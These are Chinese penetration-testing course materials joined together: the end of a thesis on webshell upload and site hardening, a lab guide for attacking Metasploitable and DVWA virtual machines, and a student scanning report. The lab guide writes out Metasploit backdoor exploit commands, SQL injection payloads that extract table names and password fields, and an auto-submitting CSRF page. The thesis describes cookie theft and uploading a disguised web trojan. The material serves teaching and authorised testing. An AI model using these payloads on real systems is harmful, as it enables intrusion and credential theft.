如圖3-23和3-24所示,有了竊取到的cookie信息,再借助一些cookie修改工具,可以不輸入密碼直接進入管理后臺界面。
圖3-23 cookie修改工具
圖3-24 竊取cookie進入管理界面
3.5 網馬上傳攻擊測試
前面利用SQL注入漏洞拿到管理賬戶和密碼后可以非法進入后臺管理界面,但到這來一般并不能做多少事,用后臺權限篡改新聞掛黑頁是很無聊的事情,常見的做法是想辦法將網頁木馬上傳到網站獲取Webshell得到網站所在服務器的某些權限,然后有需要和可能再設法提權。
如圖3-25所示,在Web網站管理后臺里找到一個能夠上傳自己圖片的地方,然后選擇上傳文件,如圖3-26和3-27所示,直接上傳asp格式的網馬是通不過檢查的,所以上傳一個偽裝成圖片文件的小馬,結果成功上傳,并被自動重命名,如圖3-28和3-29所示。
圖3-25 上傳圖片
圖3-26 選擇文件
圖3-27 上傳網馬圖片
圖3-28 上傳成功
圖3-29 上傳文件位置和名稱
現在網馬內容上傳上去了,但文件后綴名不對,所以不能訪問執行,所以需要再利用類似如圖3-30所示的備份漏洞,將上傳的文件的后綴名成功改回asp。
圖3-30 備份改名
現在可以直接訪問上傳成功的網馬,如圖3-31所示是小馬的效果,利用它在上傳一個功能齊全的大馬,如圖3-32和3-33所示。
圖3-31 訪問網馬
圖3-32 上傳大馬
圖3-33 訪問大馬
現在可以直接訪問大馬網頁文件,如圖3-34所示,登錄成功后即得到類似圖3-35所示的Webshell界面,根據權限可以對Web網站所在的服務器進行操作,如果有其他系統和軟件漏洞,還可以設法提權,獲取對服務器的完全控制權。
圖3-34 網馬登錄
圖3-35 獲取Webshell
第四章 Web網站防護
4.1 網站代碼修復
經過Web滲透測試,我們發現了網站的安全漏洞及其嚴重后果,下一步自然就是部署安全防護措施,堵塞漏洞。
對Web網站后臺代碼進行閱讀審核后,可知正是因為網站查詢數據庫的SQL語句缺少必要的過濾措施才導致了SQL注入、XSS等安全漏洞。修補漏洞的最好辦法是用安全編碼方式徹底重寫所有相關代碼,如果沒有這個條件,添加一些過濾代碼也是比較好的辦法,例如圖4-1所示,在數據庫連接文檔中添加了對用戶提交值中非法參數的檢測。
圖4-1 過濾代碼
添加過濾代碼后,黑客如果再企圖對Web網站進行諸如SQL注入之類的攻擊,就會被攔截而歸于失敗,如圖4-2所示。
圖4-2 SQL注入被攔截
需要注意的是,黑名單式的過濾代碼并不是萬能的,往往會被更高水平的黑客攻擊繞過,所以還應根據攻防技術的發展及時更新,并結合其他安全防范措施。
4.2 其它防護措施
因為現在的Web網站功能越來越多,也越來越復雜,相應的黑客攻擊技術也在不斷發展,所以往往不是單一的安全防護措施就能有效抵御各種滲透攻擊,而需要綜合采用各種措施,一方面盡可能將所有的安全漏洞堵住,另一方面可以爭取做到即使黑客攻破了某個安全措施,也會被其他安全措施攔截,將損失降低到最小。
目前比較常用的Web安全防范措施有:盡量選用高版本的操作系統Web服務器,設置高強度的密碼,給網站目錄設置最小的必要權限,加裝Web防火墻和殺毒軟件監控網頁木馬等。
最后需要指出,Web滲透和防護技術還處在快速發展階段,所以沒有一勞永逸的安全,必須不斷學習,與時俱進。
總 結
網絡安全是當前的一個技術研究熱點,Web安全又是網絡安全中的一個核心問題。Web滲透測試則是強化Web網站安全的重要技術手段,它是在獲得授權的情況下,模擬真實的黑客攻擊手段對目標Web站點進行入侵測試,因此能夠最大程度挖掘出Web網站的安全漏洞,為Web安全防護提供有效依據。
本文是在真實網絡環境里自己搭建了一個Web網站,然后自己對其進行滲透測試,研究Web安全相關攻防技術。限于水平,創建的Web網站和攻防所用的技術都比較簡單,沒有涉及當前最新的Web網站漏洞測試,但仍然比較完整地展示了Web網站滲透測試和防護的過程,為以后進一步學習和工作打下良好基礎。
參考文獻
[1] 陳小兵,范淵,孫立偉.Web滲透技術及實戰案例解析 [M].北京:電子工業出版社,2012.4 [2] 王文君,李建蒙.Web應用安全威脅與防治 [M].北京:電子工業出版社,2013.1 [3] 吳翰清.白帽子講Web安全 [M].北京:電子工業出版社,2012.3 [4] 鮑洪生.信息安全技術教程 [M].北京:電子工程出版社,2014.3 25
第四篇:網絡安全與滲透測試訓練營
《網絡安全與滲透測試訓練營》試驗指導
實驗環境要求
1,Windows操作系統,推薦Windows 7 32位或者64位 2,至少有32GB空閑磁盤空間
實驗網絡搭建方式1(NAT網絡)1,安裝Virtual Box虛擬機管理軟件
2,啟動Virtual Box的虛擬機管理器,點擊“管理 > 全局設定…”調出如下對話框,選擇“網絡 > NAT網絡”頁,如果列表為空,則點擊右側的+號圖標,讓列表中至少存在一個虛擬網絡。
3,點擊“管理 > 導入虛擬機…”,選擇實驗材料中的meta.ova文件,導入虛擬機。再選擇kali2016.ova導入Kali虛擬機。
4,導入成功后,選擇Meta虛擬機,點擊設置按鈕,切換到網絡頁面,將網絡選項改為下圖所示的Host only方式,并選擇上面創建的虛擬網卡。
5,選擇Kali2016虛擬機,重復上面一步設置網路。
實驗網絡搭建方式2(Host-Only網絡)1.安裝Virtual Box虛擬機管理軟件
2.啟動Virtual Box的虛擬機管理器,點擊“管理 > 全局設定…”調出如下對話框,選擇“網絡 > Host only”頁,然后點擊右側的+號圖標,讓列表中至少存在一個虛擬網卡。
3.點擊“管理 > 導入虛擬機…”,選擇實驗材料中的meta.ova文件,導入虛擬機。再選擇kali2016.ova導入Kali虛擬機。
4.導入成功后,選擇Meta虛擬機,點擊設置按鈕,切換到網絡頁面,將網絡選項改為下圖所示的Host only方式,并選擇上面創建的虛擬網卡。
5.選擇Kali2016虛擬機,重復上面一步。
試驗1:理解MSF工作過程
1,啟動Kali2016虛擬機和Meta虛擬機
2,在Meta虛擬機中用msfadmin/msfadmin登陸 執行ifconfig,觀察和記錄IP地址
3,在Kali虛擬機中使用如下用戶名和密碼登陸: 用戶名:root 密碼:advdbg 6,在Kali虛擬機執行msfconsole啟動MSF控制臺 7,在MSF控制臺中執行如下命令:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor)> set RHOST <第2步看到的IP地址> msf exploit(unreal_ircd_3281_backdoor)> exploit
8,等待exploit命令執行成功后,在簡單shell中,嘗試執行linux命令:
> ls > ps > echo “Your machine is mine now” > /var/www/abc.txt
9,在Meta虛擬機中執行如下命令觀察上面產生的文件:
# ls /var/www # cat /var/www/abc.txt # sudo /var/www/abc.txt 10,不必關閉虛擬機,下一個試驗還需要。
試驗2:使用Armitage顛覆Linux服務器
1,在Kali桌面的左側工具條上點擊Armitage的圖標啟動Armitage
2,當下面的連接對話框出現后,保持所有默認內容,點擊Connect按鈕,讓其與MSF后臺服務進程自動建立連接。
3,如果出現下面的詢問是否啟動MSF的對話框,則點擊Yes讓Armitage自動啟動MSF后臺服務。
4,如果出現下面的對話框,表示啟動MSF時鏈接數據庫失敗。解決的方法是安裝提示,開啟一個終端窗口(工具欄上有按鈕),在其中執行service postgresql start,然后再重新啟動Armitage。
5,Armitage的主界面出現后,選擇”Hosts > Add Host…”調出增加主機對話框,輸入Meta虛擬機的IP地址,然后點擊確定后,Armitage的主機列表區域應該出現一個下新的圖標。右擊該圖標,在右鍵菜單中選擇Host > Set Label,給其設定個名字,叫Meta。6,選中Meta主機,然后在Armitage的主菜單中選擇Attacks > Find Attack發起漏洞掃描。
7,等待掃描完成后,右鍵點擊Meta主機圖標,調出快捷菜單,選擇Attack > irc >
8,觀察Armitage執行攻擊腳本的過程,等待其結束,如果出現如下界面,則表示成功顛覆了目標主機。
9,右鍵點擊Meta主機圖標,選擇Shell 1 > Upload…選取一個本地文件后,Armitage會將其上傳到被顛覆的主機。
10,右鍵點擊Meta主機圖標,選擇Shell 1 > Interact,然后在shell窗口中執行常用的Linux命令。
11,關閉Armitage結束本實驗。
試驗3:使用Burp Suite的Intruder功能
1,啟動Kali2016虛擬機,在左側的工具條上點擊Burp Suite(以下簡稱Burp)的圖標,啟動Burp。選擇默認選項,進入Burp主界面。2,點擊Proxy > Intercept,確認代理功能的攔截選項是打開的,即如下圖所示Intercept is on.3,點擊工具欄上的Firefox圖標,啟動Firefox瀏覽器,點擊工具欄最右側的Open menu按鈕,調出Firefox的管理頁面,選擇Advanced > Network > Settings調出下圖所示的Connection Settings對話框,然后按照下圖內容設置啟用代理選項。點擊OK關閉對話框。
4,在瀏覽器地址欄中輸入Meta虛擬機的IP地址,比如10.0.2.6/dvwa,訪問上面的DVWA網站。此時會感覺瀏覽器異常緩慢,打不開網頁,這是因為網絡請求被Burp攔截住了,按下Alt + Tab鍵切換到Burp窗口,點擊下圖所示的Forward按鈕,讓其放行所攔截網絡數據。可能需要點擊多次才能看到瀏覽器打開網頁。
5,點擊上圖中的Intercept is on按鈕,使其變為Intercept is off,關閉攔截功能。
6,以admin為用戶名,password為密碼登陸DVWA網頁,點擊右側菜單條的Security,將security level改為low,點擊Submit
7,選擇XSS reflected切換到下圖所示的XSS頁面,在文本編輯框中輸入你的名字,點擊Submit,了解剛頁面的基本行為。
8,在文本編輯框中輸入如下帶有腳本的內容:aa,點擊Submit,確認看到下圖所示的對話框,說明該網站存在XSS漏洞。
9,按下Alt + Tab鍵切換到Burp界面,點擊Target > Site map,然后在左側的樹形控件中瀏覽Burp記錄的上網記錄,找到上面訪問xss_r頁面的記錄,點擊右鍵,選擇Seng to Intruder.10,選擇Intruder > Positions頁面,先點擊Clear $按鈕清除所有自動定義的變量,再選中下圖中的raymond區域,然后點擊Add $增加一個變量。
11,點擊Payload切換到變量負載頁,然后模仿下圖輸入一些負載項。其中一項包含有腳本內容。
12,點擊上圖右上角的Start attack按鈕,讓Burp自動使用上一步定義的負載對服務器發起“攻擊”。待攻擊結束后,在如下界面中檢查結果。上面的列表是訪問服務器的概括,每一行是一次訪問。選擇第3行,確認script內容確實被“回顯”到瀏覽器。
13,仿照第3步,關閉Proxy選項(設置為No proxy),本實驗結束。
試驗4 理解SQL注入
1,啟動Meta虛擬機和Kali虛擬機(如果已經啟動,則不需要重啟)。登陸到Meta虛擬機,使用ifconfig命令觀察到它的IP地址。
2,在Kali虛擬機中啟動Firefox瀏覽器,通過類似如下網址訪問Meta中的DVWA網站。http://10.0.2.6/dvwa 3,使用admin/password登陸后,選擇Security,將Security level設置為low。4,選擇SQL Injection,在User ID表單中輸入1,點擊Submit。應該看到類似如下輸出:
5,在表單中輸入單引號’,并點擊Submit,應該看到服務器端返回錯誤。這說明網站存在SQL注入風險。
6,在表單中輸入單引號’ or 1=1--,并點擊Submit,應該可以看到很多條數據庫記錄。7,在表單中輸入單引號’ union select NULL--,并點擊Submit,應該可以看到如下錯誤提示:
8,在表單中輸入單引號’ union select NULL, NULL--,并點擊Submit,應該可以看到類似如下輸出,據此可以推測出服務端的select語句選擇了兩列。
9,輸入' UNION SELECT NULL, table_name from INFORMATION_SCHEMA.tables--,并提交,應該可以成功列出數據庫中的所有表名。
10,繼續執行' UNION SELECT NULL, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' – 可以列出users表中的所有列名
11,執行' UNION SELECT NULL, password from users--可以列出users表中所有用戶密碼字段的取值。
12,點擊網頁右下角的View Source按鈕閱讀服務端的源代碼,理解漏洞的根源。
試驗5 理解CSRF 1,啟動Meta虛擬機和Kali虛擬機(如果已經啟動,則不需要重啟)。登陸到Meta虛擬機,使用ifconfig命令觀察到它的IP地址。
2,在Kali虛擬機中啟動Firefox瀏覽器,通過類似如下網址訪問Meta中的Mutillidae網站。http://10.0.2.6/mutillidae 3,使用admin/adminpass登陸后,點擊網頁橫條上Toggle Security鏈接,將Security level設置為0(Hosed)。
4,選擇OWASP Top 10 > A5 Cross Site Request Forgery(CSRF)> Add to your blog.5,在表單的編輯區域隨便輸入些內容,然后點擊Save Blog Entry提交博客。提交成功后,網頁下面的博客列表中應該新增了一項。
6,在終端窗口執行gedit啟動文本編輯器,打開Home目錄下的trycsrf.html,將其中的服務器地址修改為Meta機器的IP地址(action=”http://...),然后保存。
7,點擊桌面左側工具條上的Files 按鈕啟動文件瀏覽器,找到Home目錄下的trycsrf.html文件,雙擊打開。
8,待瀏覽器打開上述html后,將鼠標在文字上面輕微移動一下,這會觸發頁面上的mouse over事件,自動提交表單。
9,上面一步是模擬客戶在登陸重要網站后,收到釣魚郵件,點擊其中鏈接,該鏈接會向重要網站發出請求,瀏覽器在發送這個請求時會自動帶上cookie信息。等待瀏覽器自動做了一系列操作后,觀察網頁上的博客列表,會看到多了一條,這一條就是‘黑客’通過CSRF攻擊加入的。
10,嘗試將第6步中的IP地址略作修改,比如將10.0.2.6修改為10.0.2.06,然后保存和重復上述步驟,那么雖然也會自動提交產生新的blog,但是發表者卻是anonymous,而不是admin,這是為什么呢?
試驗6 使用w3af掃描網站的漏洞
1,點擊桌面工具欄上的Apps按鈕擊圖標啟動w3af工具。,輸入w3af搜索,找到下圖所示的應用后點
2,參照下圖,在Scan config頁中,在左側選擇OWASP_TOP10,目標區輸入Meta虛擬機的IP地址。
3,點擊Start按鈕開始掃描。
4,在Log頁面中可以看到掃描的過程。5,結合講解內容理解掃描結果。
第五篇:網絡信息安全 滲透測試
網絡信息安全--課程結業報告
重慶交通大學
課程結業報告
班 級:
學 號:
姓 名:
實驗項目名稱:
實驗項目性質:
實驗所屬課程:
實驗室(中心):
指 導 教 師 :
實驗完成時間:
滲透測試
設計性
網絡信息安全
軟件實驗室
2016 年 6 月 30 日
一、概述
網絡滲透測試就是利用所有的手段進行測試,發現和挖掘系統中存在的漏洞,然后撰寫滲透測試報告,將其提供給客戶;客戶根據滲透人員提供的滲透測試報告對系統存在漏洞和問題的地方進行修復和修補。滲透測試是通過模擬惡意黑客的攻擊方法,來評估計算機網絡系統安全的一種評估方法。滲透測試與其它評估方法不同,通常的評估方法是根據已知信息資源或其它被評估對象,去發現所有相關的安全問題。滲透測試是根據已知可利用的安全漏洞,去發現是否存在相應的信息資源。
應網絡信息安全課程結課要求,于2016年5月至2016年7月期間,在MobaXterm和kail平臺進行了活動主機和活動端口掃描以及漏洞掃描,最后匯總得到了該分析報告。
二、實驗目的
①熟悉kali平臺和MobaXterm; ②熟悉信息收集的基本方法和技巧;
③了解kali平臺下活動主機和端口掃描的方法; ④了解漏洞掃描的過程;
三、滲透測試范圍
此次滲透測試的對象為:10.1.74.114---Metasploitable2 Linux。
四、本次分析工具介紹
本次測試主要用到了MobaXterm、Nmap、Nessus和kali.MobaXterm是遠程計算的終極工具箱。本次在MobaXterm上運行了10.1.74.111(用戶名和密碼是root:toor)和10.1.74.114(滲透對象,用戶名和密碼:msfadmin:msfadmin)。
如果在虛擬機里運行kali,首先需要安裝好虛擬機,然后下載安裝好滲透環境kail,然后下載安裝滲透對象(Metasploitable2 Linux)。
Kali Linux預裝了許多滲透測試軟件,包括nmap(端口掃描器)、Wireshark(數據
包分析器)、John the Ripper(密碼破解器),以及Aircrack-ng(一套用于對無線局域網進行滲透測試的軟件).本次測試嘗試了Metasploit,但技術不成熟,不知道哪里出錯,沒有成功。
圖1運行Metasploit結果圖
圖2 運行Metasploit結果圖
圖3 運行Metasploit結果圖3 在漏洞掃描時,因為教學網上說Kali中內置了OpenVAS的,所以打算用這個工具
作為掃描工具的,可是在我使用的kali平臺里并沒有這個內置的工具。
圖4 沒有內置OpenVAS的kali
本次實驗還是使用了nmap的圖形化掃描工具zenmap。Nmap是目前為止使用最廣的端口掃描工具之一,軟件提供一些非常實用的功能。比如通過tcp/ip來甄別操作系統類型、秘密掃描、動態延遲和重發、平行掃描、通過并行的PING偵測下屬的主機、欺騙掃描、端口過濾探測、直接的RPC掃描、分布掃描、靈活的目標選擇以及端口的描述。
除了以上工具,本次還用了Nessus,這個工具是目前全世界最多人使用的系統漏洞掃描與分析軟件。
五、實驗主要內容及原理
1、信息收集—掃描活動主機
可以使用一些命令來進行局域網內的活動主機的掃描。常用的命令有 fping、nping、netenum、netdiscover 等。
本次滲透測試選用了netdiscover來獲取LAN 中活動主機及其MAC。
2、信息收集—掃描目標主機活動端口
信息收集有兩種方式,一種是命令行方式,一種是圖形化界面方式。常用的命令是 namp,使用語法:nmap 參數 目標主機IP 地址。圖形界面工具是zenmap。
3、信息收集—掃描漏洞
Nessus是使用比較多的系統漏洞掃描與分析軟件。
六、實驗過程簡述
1、信息收集-掃描活動主機
實驗步驟:在MobaXterm下進行命令行形式進行活動主機的掃描:
fping:掃描指定范圍內的活動主機(fping-s-r 1-g 202.202.240.1 202.202.240.254);
nping:對防火墻過濾ICMP或主機不對ICMP響應的情況,則可不使用ICMP,直接定制TCP包發出運行nping-c1--tcp-p 80--flags syn 202.202.240.6;
netenum:速度超快的活動主機掃描器(運行netenum 202.202.240.0/24 10)(10代表超時時間,越長越準確)
netdiscover:獲取LAN中活動主機及其MAC等信息(運行netdiscover即可); 也在虛擬機里進行了netdiscover掃描。
2、信息收集—掃描目標主機活動端口
實驗步驟:在MobaXterm中輸入下列的命令即可完成目標主機活動端口的掃描: TCP連接掃描: nmap-sT-p--PN 202.202.240.6 SYN 掃描: nmap-sS-p--PN 202.202.240.6 Xmas 掃描:nmap-sX-p--PN 202.202.240.6 Null 掃描:nmap-sN-p--PN 202.202.240.6
3、信息收集—掃描漏洞
實驗步驟:Nessus是目前全世界最多人使用的系統漏洞掃描與分析軟件。以下為安裝及配置步驟:
下載Nessus軟件進行注冊,選擇家庭版,注冊號將發送到郵箱 使用命令dpkg-i Nessus-6.3.7-debian6_amd64.deb 命令進行安裝
運行命令 /opt/nessus/bin/nessus-fetch--register(你得到的注冊號)進行注冊及更新模塊
運行命令/opt/nessus/sbin/nessus-adduser添加用戶并設為管理員(需記住,后面登錄要使用)
運行命令/etc/init.d/nessusdsta啟動nessus服務
打開瀏覽器,輸入https://127.0.0.1:8834登錄Nessus即可(先定策略,再掃描)
七、實驗結果及分析
1、信息收集-掃描活動主機
圖5使用fping掃描活動主機結果1
圖6使用fping掃描活動主機結果2
通過運行fping-s-r 1-g 202.202.240.1 202.202.240.254來掃描IP地址從
202.202.240.1 到202.202.240.254的活動主機,(-s)打印出最后的結果;(-r 1)重復次數為1,默認情況下為3;(-g)生成目標列表,指定目標列表的起始和結束IP,此次起始IP為202.202.240.1,結束IP為202.202.240.254。共掃描254個目標,其中74個存活,176個不可達,沒有不知的IP地址。
圖7使用nping掃描活動主機結果
圖8使用netenum掃描結果
使用來進行netenum掃描,顯示的是202.202.240.0/24這個網段的活動主機,顯示的結果。
圖9netdiscover掃描結果
從上面的圖中可以看出,netdiscover會顯示出活動主機的IP地址、MAC地址等信息。
2、信息收集—掃描目標主機活動端口
圖10 nmap掃描結果1
圖11 nmap掃描結果2
圖12 nmap掃描結果3
圖13 nmap掃描結果4 上圖是使用nmap掃描目標主機活動端口的結果,本次實驗是掃描202.202.240.6的活動端口,從結果中可以看出使用TCP連接掃描和SYN掃描結果80端口是開啟的,Xmas和Null掃描運行不出結果,可能是掃描的時間不夠,活動端口掃描不是快速完成的。掃描結果會顯示活動的端口號以及提供的服務。
下面是在虛擬機的kali平臺里使用zenmap對10.1.74.114進行端口掃描的結果。由于掃描結果太多,所以只對部分進行了截圖分析。
圖14zenmap掃描結果
使用zenmap對活動端口進行掃描比使用命令行簡單,得到的結果比輸入命令得到的結果更加詳細。
3、信息收集—掃描漏洞
圖15Nessus掃描漏洞結果1 從掃描結果看出10.1.74.111有3個高危漏洞,18個中危漏洞,5個低危漏洞。下圖為掃描10.1.74.111的部分具體漏洞圖。
圖16Nessus掃描結果2
八、心得體會
通過本次網絡信息安全課程的學習,對滲透過程有了一定的了解,其基本步驟可總結為首先進行信息收集,可以收集的信息有活動主機、端口等等,然后掃描主機的漏洞,并對漏洞加以利用,從而達到攻擊的目的。
這次設計對各個模塊有了淺顯的認識,深入程度還有待提高。